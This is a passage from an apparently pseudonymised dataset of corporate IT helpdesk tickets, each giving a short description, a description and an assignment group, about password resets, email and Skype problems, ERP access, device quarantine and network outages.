, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to map a printer, Description: unable to map a printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset password for cnljsmat.ocxjvdnz@gmail.com, Description: reset password for cnljsmat.ocxjvdnz@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp-powder interface not working, Description: erp-powder interface not working. , is assigned to Assignment group: GRP\_45.Ticket with Short description: change erp printer, Description: please change my erp printer (hrp- hcm production) to usa fm0006.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to see crm add-in in outlook, Description: unable to see crm add-in in outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: having trouble with my password accessing the portal., Description: name:upajtkbn wzyspovl
language:
browser:microsoft internet explorer
email:upajtkbn.wzyspovl@gmail.com
customer number:
telephone:
summary:having trouble with my password accessing the portal., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to outlook., Description: microsoft outlook - all morning it shows either trying to connect or gives me an error about not being able to connect to the server. i have emails from this morning still sitting in my outbox that i cannot get to send. and no new emails coming in. i have rebooted outlook twice and my whole system once with no success., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook calendar, Description: \_x000D\_
\_x000D\_
received from: opzuciql.muedfkhz@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
my outlook calendar shows "no information" when someone tries to schedule a meeting with me using the scheduling assistant. how can i fix that?\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to save attachments from business\_client, Description: unable to save attachments from business\_client, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to one time, Description:
name:wvngzrca sfmrzdth
language:
browser:microsoft internet explorer
email:wvngzrca.sfmrzdth@gmail.com
customer number:
telephone:
summary:i have had and still have issues with sf loading. it is just a white page. can you advise?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vmax disk failed on df-8b-c, Description: the monitor is the disk failed? on df-8b-c-0/000192604484/localhost is outside expected limits (true = true), is assigned to Assignment group: GRP\_8.Ticket with Short description: rounding concerns for mexico. please assign ticket to rabhtuikurtyar tammineni, Description: znet should not be applied to zcnc, zcnp or manual condition for 1108., is assigned to Assignment group: GRP\_13.Ticket with Short description: account locked out : trust relationship issue , Description: account locked out : trust relationship issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool system, Description: not able to enter customer details in engineering\_tool system, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to hear any audio from skype, Description: unable to hear any audio from skype, is assigned to Assignment group: GRP\_26.Ticket with Short description: mii is not responding:orders can not be scanned out, system is locking up, or giving error (see below) , Description: there was a technical error. <br> please try again. <br> if the problem persists please notify an administrator <br> error:the following error occured while processing the request :[object object] status: error error: internal server error\_x000D\_
\_x000D\_
operator have rebooted computer multiple times. karghyuen , is assigned to Assignment group: GRP\_41.Ticket with Short description: password reset and login issues in collaboration\_platform., Description: password reset and login issues in collaboration\_platform., is assigned to Assignment group: GRP\_0.Ticket with Short description: employee's password for etime is not working, Description: please issue new password for etime access for employee gyweclbt oahmgpfy, ee#636130 aerp., is assigned to Assignment group: GRP\_0.Ticket with Short description: release of device, Description: \_x000D\_
\_x000D\_
received from: qpixeudn.rjlziysd@gmail.com\_x000D\_
\_x000D\_
please release this device from quarantine\_x000D\_
\_x000D\_
from: microsoft outlook\_x000D\_
sent: monday, august 8, 2016 11:20 am\_x000D\_
to: qpixeudn rjlziysd <qpixeudn.rjlziysd@gmail.com>\_x000D\_
subject: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it access.\_x000D\_
\_x000D\_
\_x000D\_
your mobile device is temporarily blocked from accessing content via exchange activesync because the mobile device has been quarantined. you don't need to take any action. content will automatically be downloaded as soon as access is usaed by your administrator.\_x000D\_
\_x000D\_
please ignore the above paragraph. we cannot change it or delete it.\_x000D\_
\_x000D\_
special note 30-jan-2015: the microsoft outlook app for ios and android released yesterday is not currently approved software for accessing company e-mail. until it is uacyltoe hxgayczeed and approved, please consider using one of the other (1) the embedded e-mail software in your mobile device (2) the browser on your mobile device or (3) the microsoft owa app published for your mobile device platform.\_x000D\_
\_x000D\_
beginning 01-mar-2012 employees, with supervisor approval, may use personally owned mobile devices to access outlook email. company is moving forward and providing the opportstorage\_product for our employees to use specified personally owned devices to allow for productivity improvement and enable work-life balance. this is an addition to the policy for company owned devices.\_x000D\_
\_x000D\_
currently approved handheld devices can be found in this policy:\_x000D\_
\_x000D\_
wireless mobility technical document <\_x000D\_
\_x000D\_
the above policy will be updated as other devices are approved for use.\_x000D\_
\_x000D\_
if you own an approved device and would like to take advantage of this opportstorage\_product you can submit a ticketing\_tool ticket <"https:/company.ticketing\_tool.com/incident.do?sysparm\_stack=incident\_list.do&sys\_id=-1&sysparm\_query=incident.do?sys\_id=-1&sysparm\_template=mobile> to the it global support center (gsc). if it is a personally owned device, you need to attach the agreement form found in the wireless mobility standard procedure. this agreement must be signed by you and your next level supervisor and provided to the gsc prior to a ticket being entered. you can attach the signed form to the ticket or send the signed form to the gsc and they will attach it.\_x000D\_
\_x000D\_
any ticket without the signed form will be cancelled. you have 2 weeks to process and submit the form before your device will be denied (deleted from quarantine).\_x000D\_
\_x000D\_
wireless mobility standard procedure <\_x000D\_
\_x000D\_
information about your mobile device:\_x000D\_
device model:\_x000D\_
\_x000D\_
iphone8c1\_x000D\_
\_x000D\_
device type:\_x000D\_
\_x000D\_
iphone\_x000D\_
\_x000D\_
device id:\_x000D\_
\_x000D\_
r6ufpmv1sd4uSID\_7839t39l7gfkk\_x000D\_
\_x000D\_
device os:\_x000D\_
\_x000D\_
ios 9.3.3 13g34\_x000D\_
\_x000D\_
device user agent:\_x000D\_
\_x000D\_
apple-iphone8c1/1307.34\_x000D\_
\_x000D\_
device imei:\_x000D\_
\_x000D\_
exchange activesync version:\_x000D\_
\_x000D\_
16.0\_x000D\_
\_x000D\_
device access state:\_x000D\_
\_x000D\_
quarantined\_x000D\_
\_x000D\_
device access state reason:\_x000D\_
\_x000D\_
global\_x000D\_
\_x000D\_
\_x000D\_
sent at 8/8/2016 3:20:18 pm to qpixeudn.rjlziysd@gmail.com<mailto:qpixeudn.rjlziysd@gmail.com>.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to outlook and skype, Description: unable to login to outlook and skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_34\_x000D\_
\_x000D\_
enter user id of user having the issue: mitctdrhb\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with:logon\_x000D\_
\_x000D\_
describe the issue: changed password using password manager, unable to log into erp\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: ess password reset request, Description: misplaced password, ad password reset needed, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock account email in cell phone the user ricagthyr doflefne id:noggtyuerp, Description: hello team,\_x000D\_
\_x000D\_
could you please unlock account email in cell phone the user ptgwfymc.mchpwvgf@gmail.com id:noggtyuerp\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype im not logging in, Description: stuck at logging in.\_x000D\_
personal certificate error, is assigned to Assignment group: GRP\_27.Ticket with Short description: issue while connecting though telecom\_vendor\_3 gprs sim, Description: \_x000D\_
\_x000D\_
received from: cgqjxtkf.soewtuvf@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am facing an issue while connecting telecom\_vendor\_3 gprs network.\_x000D\_
pl look into the same.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for on erp / production / hcm, Description: locked out of erp SID\_34 not set up in password\_management\_tool getting an error unable to find account for user ginemkl when logging into password\_management\_tool. \_x000D\_
\_x000D\_
please notify wptbgchj jutpdcqf once account is unlocked\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for kevguind l gineman using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: goods receipt issue, Description: hello, on po5616641196 the po was created for 10 rolls of paper with a price of Â£19.36 each. this price has not been changed in the purchase order but the goods receipt has been booked in for a total amount of Â£367.84. i have asked about this with the uk warehouse and they are not sure it's possible to goods receipt at a different value. can you see what has caused this? , is assigned to Assignment group: GRP\_29.Ticket with Short description: abended job in job\_scheduler: Job\_2021b, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2021b at 08/08/16 10:10:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: job qeue from the engg application stopped, Description: the job qeue processor of the engg stopped and needs to be restarted. please forward to the engg group., is assigned to Assignment group: GRP\_58.Ticket with Short description: windows account locked out, Description: windows account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: my docking station is not charging my computer, Description: i've checked all the plugs and it's still not charging my computer., is assigned to Assignment group: GRP\_0.Ticket with Short description: issues with lean tracker, Description: issues with lean tracker, is assigned to Assignment group: GRP\_27.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook after changing the password, Description: unable to launch outlook after changing the password, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock csvlijud jzhnkclo , Description: unlock csvlijud jzhnkclo
pc name : rrsp04479
contact name :
user id ;
.\administrator
, is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to login to windows // account locked, Description: unable to login to windows // account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log into hr\_tool, Description: i get directed to a hr\_tool logon page instead of directly getting authenticated with sso.\_x000D\_
see attachments \_x000D\_
\_x000D\_
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\_x000D\_
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, is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot make a skype meeting, every time it errors out stating that skype is not running., Description: i cannot make a skype meeting, every time it errors out stating that skype is not running., is assigned to Assignment group: GRP\_3.Ticket with Short description: shagfferon called to reset password for user :bregtnnl, Description: shagfferon called to reset password for user :bregtnnl, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for robhyertyj l shipping\_tool on erp / production / bw, Description: i have not used this in quite awhile and it will not let me in with my current password., is assigned to Assignment group: GRP\_0.Ticket with Short description: browser issue : collaboration\_platform not loading , Description: browser issue : collaboration\_platform not loading , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: vogelfontein, south africa mpls circuit is down at 8:14 am et on 08/08, Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_8:14 am et on 08/08\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_\_yes\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: access to vpn : user id : wijuiidl, Description: computer name ; lehl8516849\_x000D\_
access to vpn , is assigned to Assignment group: GRP\_34.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: bex patch installation , Description: bex patch installation , is assigned to Assignment group: GRP\_0.Ticket with Short description: supply\_chain\_software login issue , Description: supply\_chain\_software login issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: ingreso a business\_client, Description: no puedo ingresar a business\_client con mi contraseÃ±a., is assigned to Assignment group: GRP\_0.Ticket with Short description: need replacement monitor for coatncqulao qauighdpchine., Description: need replacement monitor for coatncqulao qauighdpchine., is assigned to Assignment group: GRP\_3.Ticket with Short description: item numbers issue with the inwarehouse\_tool forms for israel, Description: item numbers issue with the inwarehouse\_tool forms for israel., is assigned to Assignment group: GRP\_20.Ticket with Short description: bqdlegnp lnphmsco's password has expired. please call him at , Description: please call bqdlegnp lnphmsco at to update his password. he cannot login to anything., is assigned to Assignment group: GRP\_0.Ticket with Short description: general enquiry, Description: general enquiry, is assigned to Assignment group: GRP\_0.Ticket with Short description: time recording is not working, Description:
EU\_tool - unable to connect to server. time recording in EU\_tool does not work. EU\_tool is installed on the user's pc.
telefon:, is assigned to Assignment group: GRP\_24.Ticket with Short description: network problems (multiple applications are running slow), Description: my home location is usa. whenever i come to us\_plant, and connect to the network, my pc runs estorage\_productly slow. all programdntys are slow.\_x000D\_
\_x000D\_
how did you determine there are network problems ?\_x000D\_
\_x000D\_
is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow)\_x000D\_
\_x000D\_
are more than one transactions impacted?\_x000D\_
\_x000D\_
what erp server are you on (server name is located in the status bar at the bottom \_x000D\_
right of your screen) ?\_x000D\_
\_x000D\_
do other co-workers also notice slow response times in erp ?\_x000D\_
\_x000D\_
what other applications are running slow ? \_x000D\_
\_x000D\_
can you access your data files on the server ?\_x000D\_
\_x000D\_
any other comments or issues with other systems ?, is assigned to Assignment group: GRP\_0.Ticket with Short description: oneteam sso not working, Description: i'm unable to log in to hr\_tool/oneteam through the sso portal on the hub. whenever i click on the oneteam link in the portal i'm taken to a login screen instead of being logged directly into the system. i have tried clearing my browser cache and i've tried logging in using both ie and firefox. , is assigned to Assignment group: GRP\_73.Ticket with Short description: company center does not show org 1101 after i changed my password, Description: i just changed my password and now my company center account does not show the option to choose 1101 in the sales org. login info: bfrgtonersp au45gdec22, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_184- average (1 samples) disk free on /nfsbackup is now 2%, which is below the error threshold (5%) , Description: HostName\_184- disk free on /nfsbackup is now 2%, which is below the error threshold (5%) out of total size 7000.0 gb, is assigned to Assignment group: GRP\_14.Ticket with Short description: install pdf-mailer \kebogxzp difnjlkp, Description: install pdf-mailer \kebogxzp difnjlkp, is assigned to Assignment group: GRP\_24.Ticket with Short description: reset the password for couskjgd uzojtkmh on windows login, Description: hi,
please unlock sebfghkasthian's account. (couskjgd uzojtkmh - wirftejas - couskjgd.uzojtkmh@gmail.com)
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for couskjgd uzojtkmh using password\_management\_tool password reset., Description: hi, \_x000D\_
please unlock sebfghkasthian's (wiejas couskjgd.uzojtkmh@gmail.com) account.\_x000D\_
, is assigned to Assignment group: GRP\_17.Ticket with Short description: probleme mit rechner ewew8323531 \defekte fp sektoren \xosdfhbu gtbfkisl, Description: probleme mit rechner ewew8323531 \defekte fp sektoren \xosdfhbu gtbfkisl, is assigned to Assignment group: GRP\_24.Ticket with Short description: requester: oqxdecus encxjoawjr: can you put usa-shop sw06 port23 on the vlan50? i'm trying to get a machine on the netwo, Description: \_x000D\_
\_x000D\_
received from: sthyuraj.sektyhar@company.com\_x000D\_
\_x000D\_
hi suraj. can you put usa-shop sw06 port23 on the vlan50? i'm trying to get a machine on the network.\_x000D\_
\_x000D\_
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, is assigned to Assignment group: GRP\_4.Ticket with Short description: unable to open collaboration\_platform, Description: name:betshdy
language:
browser:microsoft internet explorer
email:zxvjsipd.jbzmgyvd@gmail.com
customer number:
telephone:
summary:i cannot get collaboration\_platform to open. it just sits and spins., is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2 - incorrect language in automated email message, Description: i received 2 emails (attached) for taking over a collaboration\_platform for an employee who is no longer working at company.\_x000D\_
1 message was in german, the other is portuguese (i think)., is assigned to Assignment group: GRP\_16.Ticket with Short description: email delegation issues with nqtjsbad.jfxeoudc@gmail.com mailbox, Description: email delegation issues with nqtjsbad.jfxeoudc@gmail.com mailbox, is assigned to Assignment group: GRP\_26.Ticket with Short description: urgent : need access to all roanoke drives for new machine user for mii implementation today, Description:
received from: umzcxfah.aoshpjiu@gmail.com
all machines in roanoke have been changed to user login "roaghyunokepc" full access.
please add this user to all lrrsm03\departments aerp. production is down.
umzcxfah aoshpjiu
plant controller, us\_plant
umzcxfah.aoshpjiu@gmail.com
, is assigned to Assignment group: GRP\_12.Ticket with Short description: erp output screen issue., Description: \_x000D\_
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received from: esaqztby.mhnbqiyc@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
kindly look into below snap, erp output screen enable to show details in proper arrangement , is there any issue in erp network.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f19b.92b3d920]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: rds server germany not reachable for thinclients (HostName\_584), Description: after reboot of the serverteam my thinclients are not able to connect to the rds server (HostName\_584), is assigned to Assignment group: GRP\_12.Ticket with Short description: single/sign on for hr\_tool oneteam is not working , Description: \_x000D\_
\_x000D\_
received from: jegpvyrh.kasnhdrb@gmail.com\_x000D\_
\_x000D\_
single/sign on for hr\_tool oneteam is not working\_x000D\_
please see screen below.\_x000D\_
\_x000D\_
[cid:image001.png@01d1f181.a1f8SID\_310]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 zdsxmcwu thdjzolwronization issue , Description: erp SID\_34 zdsxmcwu thdjzolwronization issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: ethics access , Description: \_x000D\_
\_x000D\_
received from: jegpvyrh.kasnhdrb@gmail.com\_x000D\_
\_x000D\_
team,\_x000D\_
i would like to complete ethics.\_x000D\_
i ask you to usa access.\_x000D\_
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\_x000D\_
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, is assigned to Assignment group: GRP\_23.Ticket with Short description: problem with EU\_tool, Description: hello altogether\_x000D\_
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we have problems with our EU\_tool.\_x000D\_
please open zuteillisten>>>plant\_110 >>>>hartbearbeitung>>>>>kantenverrunden>>>>sammelarbpl\_x000D\_
\_x000D\_
then you see this window:\_x000D\_
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\_x000D\_
in the past when we do a doubleklick on eps we could see in a new window our point of measurement for this inserts. but now this function is out of service. \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request., Description: password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: problem with EU\_tool, Description: \_x000D\_
\_x000D\_
received from: mstnjfai.xcobykhl@gmail.com\_x000D\_
\_x000D\_
hello altogether\_x000D\_
\_x000D\_
we have problems with our EU\_tool.\_x000D\_
please open zuteillisten>>>plant\_110 >>>>hartbearbeitung>>>>>kantenverrunden>>>>sammelarbpl\_x000D\_
\_x000D\_
then you see this window:\_x000D\_
[cid:image005.png@01d1f173.087ba8f0]\_x000D\_
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in the past when we do a doubleklick on eps we could see in a new window our point of measurement for this inserts. but now this function is out of service.\_x000D\_
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\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_25.Ticket with Short description: guest wifi access request, Description:
received from: wchidyuk.shqbfpuy@gmail.com
hi,
following are the details of guest visiting company india from tomorrow and request you to provigjtyswkb dpvaymxrest wifi access.
sl.no.
guest first name
guest last name
guest email-id
location
company sponsor email-id
access required till (date)
1
sadiertpta
palffs
sadiertpta.palffs@partner.com<mailto:sadiertpta.palffs@partner.com>
india
yhmwxsqj.ugnthxky@gmail.com<mailto:yhmwxsqj.ugnthxky@gmail.com>
08/12/2016
2
rohitdrf
stahyru
rohitdrf.stahyru8@partner.com<mailto:rohitdrf.stahyru8@partner.com>
india
yhmwxsqj.ugnthxky@gmail.com<mailto:yhmwxsqj.ugnthxky@gmail.com>
09/09/2016
3
vikrhtyas kurtyar
gurpthy
vikrhtyaskurtyar .gurpthy@partner.com<mailto:vikrhtyaskurtyar .gurpthy@partner.com>
india
yhmwxsqj.ugnthxky@gmail.com<mailto:yhmwxsqj.ugnthxky@gmail.com>
09/09/2016
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: SID\_1 access, Description: \_x000D\_
\_x000D\_
received from: rgtarthi.erjgypa@company.com\_x000D\_
\_x000D\_
hello help,\_x000D\_
\_x000D\_
my access to SID\_1 seems to be not working.\_x000D\_
\_x000D\_
please enable & confirm. , is assigned to Assignment group: GRP\_0.Ticket with Short description: open order kart issues - distributor\_tool, Description: in the distributor\_tool production system, the oprn carts are not displaying any carrier information.\_x000D\_
\_x000D\_
please check and fix the issue urgently., is assigned to Assignment group: GRP\_21.Ticket with Short description: mii not working, Description: mii at usa is estorage\_productly slow and errors out, is assigned to Assignment group: GRP\_41.Ticket with Short description: ethics login issue, Description: hello, \_x000D\_
would you please support?\_x000D\_
''welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration\_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp'', is assigned to Assignment group: GRP\_0.Ticket with Short description: no boot : 7350 , Description: no boot : 7350 , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticketing\_tool queries , Description:
summary:ticketing\_tool change i have changed the status to closed cancelled instead of closed complete. how to revert the change?, is assigned to Assignment group: GRP\_0.Ticket with Short description: in the dob report - there is no option to subscribe to the reprot to receive it daily in your mail, Description: the dob report\_x000D\_
#/site/certified\_content/views/dailyorderbillingreport/day?:iid=1\_x000D\_
needs to have a subscribe option \_x000D\_
i cannot see it on the screen\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: attendance\_tool password rest, Description:
received from: kugwsrjz.xnygwtle@gmail.com
please reset my attendance\_tool password as i forgot.
username: 20341722
gurhyqsath j
india met
kugwsrjz.xnygwtle@gmail.com<mailto:kugwsrjz.xnygwtle@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reporting\_tool application sending multiple emails via smtp : hqap100.company.com, Description: hi ramdnty,\_x000D\_
as discussed, we send emails (also called subscriptions) out of reporting\_tool application on a daily basis.\_x000D\_
the smtp server has remained the same for last 2 years. \_x000D\_
since 29th july, the users are receiving duplicate emails. for example, see attached the duplicate emails i have been receiving daily.\_x000D\_
one more thing to note is that reporting\_tool maintains a count of emails sent per day but the count has not doubled indicating that smtp server seems to be processing it twice instead of reporting\_tool sending them multiple times.\_x000D\_
smtp server : hqap100.company.com\_x000D\_
the issue has been escalate to higher management. \_x000D\_
greatly appreciate if you could look into this as the earliest. let me know if you need more details.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: vvdortddp, Description:
received from: aksthyuhath.shettythruy@company.com
hi,
below mentioned employee is unable to login ess portal. please reset the password.
emp no
name
useid
202845583
yaxmwdth xsfgitmq
vvdortddp
fyi.
[cid:image001.png@01d1f185.546032b0]
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: audio not working , Description: audio not working \_x000D\_
computer model-dell precision m4800\_x000D\_
name-awyl8912226\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: vendor drawing access is not working - no vendor can access data anymore , Description: vendor\_access isn't working (external website) no vendor can access drawings or model. situation get critical and causes delays in customer orders. all vendors are affected.\_x000D\_
error message : unable to read document information from erp (see attachment), is assigned to Assignment group: GRP\_25.Ticket with Short description: investment antrag mnakehrf mvunqihf - new laptop request - mnakehrf mvunqihf, Description: \_x000D\_
\_x000D\_
received from: jywvemun.qngschtz@gmail.com\_x000D\_
\_x000D\_
team, anbei ein investmentantrag fÃ¼r einen neuen rechner/laptop fÃ¼r mnakehrf mvunqihf\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_28.Ticket with Short description: abended job in job\_scheduler: Job\_3181, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_3181 at 08/08/16 05:01:29, is assigned to Assignment group: GRP\_8.Ticket with Short description: stepfhryhan needs access to below collaboration\_platform links. , Description: stepfhryhan needs access to below collaboration\_platform links.
urlaubsplanung (file://efdl9221150/users/linnes/collaboration\_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/urlaubsplanung)
3p plÃ¤ne (file://efdl9221150/users/linnes/collaboration\_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/3p%20pl%e4ne)
allgemeines (file://efdl9221150/users/linnes/collaboration\_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/allgemeines)
berirtchtswesen gebiet nord (file://efdl9221150/users/linnes/collaboration\_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/berirtchtswesen%20gebiet%20nord)
crm teamordner (file://efdl9221150/users/linnes/collaboration\_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/crm%20teamordner)
teamcall teammeeting (file://efdl9221150/users/linnes/collaboration\_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/teamcall%20teammeeting)
top 5 projekte (file://efdl9221150/users/linnes/collaboration\_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/top%205%20projekte)
hallo sabrthy,
wie weit sind wir in diesem thema? habe noch kein ticket erhaltenâ€¦
mit freundlichen grÃ¼ÃŸen
nizholae bjnqikym
anwendungstechniker i application engineer
nizholae.bjnqikym@gmail.com
company deutschland gmbh
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
select the following link to view the disclaimer in an alternate language.
von: nizholae bjnqikym
gesendet: donnerstag, 21. juli 2016 12:16
an: aorthyme rnsuipbk <aorthyme.rnsuipbk@gmail.com>
betreff: aw: no access to netweaver.
danke sabrthyâ€¦
mit freundlichen grÃ¼ÃŸen
nizholae bjnqikym
anwendungstechniker i application engineer
nizholae.bjnqikym@gmail.com
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
select the following link to view the disclaimer in an alternate language.
von: aorthyme rnsuipbk
gesendet: donnerstag, 21. juli 2016 12:03
an: nizholae bjnqikym <nizholae.bjnqikym@gmail.com>
betreff: re: no access to netweaver.
hallo stepfhryhan,
das nimmt ein bisschen zeit. ich erfasse ein ticket dazu.
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to select my course, when i select a language there is an error and unable to go further, Description: unable to select my course, when i select a language there is an error and unable to go further, is assigned to Assignment group: GRP\_23.Ticket with Short description: data backup und restore \ahlqgjwx wbsfavhg, Description: data backup und restore \ahlqgjwx wbsfavhg, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \aqstdryv flbnyqzc, Description: setup new ws \aqstdryv flbnyqzc, is assigned to Assignment group: GRP\_24.Ticket with Short description: cannot log-in to telephony\_software, Description: hello, \_x000D\_
\_x000D\_
cannot log in to telephony\_software, see error message attached. in the meantime i tried so many times that my password is surely locked, too. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_7.Ticket with Short description: order: 24761483, Description: from: rxoynvgi ntgdsehl
sent: monday, august 08, 2016 12:16 pm
to: nwfodmhc exurcwkm
cc: johthryugftyson hu; kaguhxwo uoyipxqg; -kds sw11-services
subject: rad:fw: order: 35872594
hi it team
kindly please assist, as we unable to create dn for po 5018078764.
hydstheud mddwwyleh
operation supervisor
company distribution services of asia pte ltd
( asia regional distribution centre)
email : rxoynvgi.ntgdsehl@gmail.com
from: johthryugftyson hu
sent: monday, august 08, 2016 1:14 pm
to: -kds mmaster; rxoynvgi ntgdsehl
cc: -kds sw11-services; kaguhxwo uoyipxqg
subject: re: order: 35872594
din,
please create ticket to it for help.
